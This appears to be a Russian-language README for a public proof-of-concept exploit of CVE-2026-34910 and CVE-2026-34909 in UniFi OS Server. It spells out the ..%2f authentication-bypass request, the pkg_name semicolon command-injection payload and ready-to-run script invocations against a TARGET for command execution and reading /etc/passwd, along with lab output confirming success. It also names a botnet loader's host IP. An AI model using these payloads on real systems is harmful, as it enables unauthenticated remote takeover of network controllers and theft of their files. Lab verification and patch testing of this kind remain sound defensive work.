
CVE-2026-34910/34909 — неавторизованное RCE в UniFi OS + чтение файлов через обход аутентификации ..%2f (CVSS 10.0, KEV, Mirai ITW)
Неаутентифицированное RCE через инъекцию команд (CVE-2026-34910) + произвольное
чтение файлов через обход пути (CVE-2026-34909) в UniFi OS Server.
CVSS 10.0 (Critical) у каждой · внесено в перечень CISA KEV · активно
эксплуатируется ботнетом на базе Mirai (имплант azsxd).
Ubiquiti UniFi OS включает nginx-шлюз аутентификации, который считает публичным
любой запрос, чей RAW URI начинается с /api/auth/validate-sso/, но
маршрутизирует по NORMALIZED URI (декодирует %2f → / и схлопывает
../). Кодирование обхода заставляет эти два URI расходиться:
GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=<CMD>&by_cmd=true
→ попадает во внутренний обработчик обновления пакетов, который передаёт pkg_name
в /bin/sh -c → неаутентифицированное RCE одним запросом.
Тот же примитив против /app-assets/... читает файлы с диска
(CVE-2026-34909).
# 1. Auth-bypass probe (non-destructive)
python3 CVE-2026-34910.py https://TARGET:8443 --check
# 2. RCE — run a command (CVE-2026-34910)
python3 CVE-2026-34910.py https://TARGET:8443 "id > /tmp/pwned.txt"
# 3. RCE proof — create a file on the target
python3 CVE-2026-34910.py https://TARGET:8443 --proof
# 4. File read (CVE-2026-34909)
python3 CVE-2026-34910.py https://TARGET:8443 --read /etc/passwd
RCE-пейлоад внедряет точку с запятой во внутреннюю shell-команду обработчика
sudo systemctl stop <pkg_name>: pkg_name=evil;<CMD> →
sudo systemctl stop evil;<CMD> — внедрённая команда выполняется на хосте
от имени пользователя ucs-update.
$ python3 CVE-2026-34910.py https://127.0.0.1:11443 --proof
[*] Komut: touch /tmp/PWNED_34910
[*] HTTP 200
[*] Yanıt: {"code":-3,"codeS":"CODE_SYSTEM_ERROR",...}
[+] İstek gönderildi — komut hedefte çalıştırıldı
# On the target (docker exec unifi-os-vuln):
$ ls -la /tmp/PWNED_34910
-rw-r--r-- 1 ucs-update ucs-update 0 Aug 9 21:52 /tmp/PWNED_34910 ✅ FILE CREATED
✅ ПОЛНОСТЬЮ ПОДТВЕРЖДЕНО — RCE подтверждено на реальном UniFi OS Server 5.0.6 (уязвимая версия, настройка завершена), работающем в Docker (hieutq/unifi-os-server:5.0.6-amd64):
- Обход аутентификации через
..%2fдостигает внутреннего обработчикаlatest_package(ответ:CODE_SYSTEM_ERROR/ "pkg_name required" — а не nginx 400).pkg_name=evil;touch /tmp/PWNED_34910&by_cmd=trueсоздал файл на целевом устройстве (-rw-r--r-- ucs-update) → инъекция команд → RCE подтверждено.- Против исправленного UniFi OS 5.1.21 тот же запрос возвращает HTTP 400 (nginx отклоняет расхождение raw-URI/normalized-URI), подтверждая чистый отрицательный результат.
Настройка выполнялась через реальный веб-мастер (имя устройства → учётные данные → пароль консоли → завершение), поэтому лабораторная среда соответствует устройству, развёрнутому в production.
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --check
[*] Auth-bypass probe: HTTP 200
[+] SAVUNMASIZ — handler'a ulaşıldı (pkg_name required)
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --read /etc/passwd
[*] Dosya: /etc/passwd
[*] HTTP 200
[+] Dosya içeriği (80 byte):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Ботнет на базе Mirai/Gafgyt (имплант azsxd v2.0) комбинирует обход аутентификации +
инъекцию команд для неаутентифицированного RCE — мультиархитектурный загрузчик,
распространяемый с 185.228.26.16. См. разбор pwndefend.
Только для авторизованного тестирования безопасности и образовательных целей.
| CVE | Критичность | Затронутые | Исправленные |
|---|
| CVE-2026-34910 | 10.0 Critical | UniFi OS Server (до SAB-064) | SAB-064 |
| CVE-2026-34909 | 10.0 Critical | UniFi OS Server (до SAB-064) | SAB-064 |
| CVE-2026-34908 | 10.0 Critical | UniFi OS Server (до SAB-064) | SAB-064 |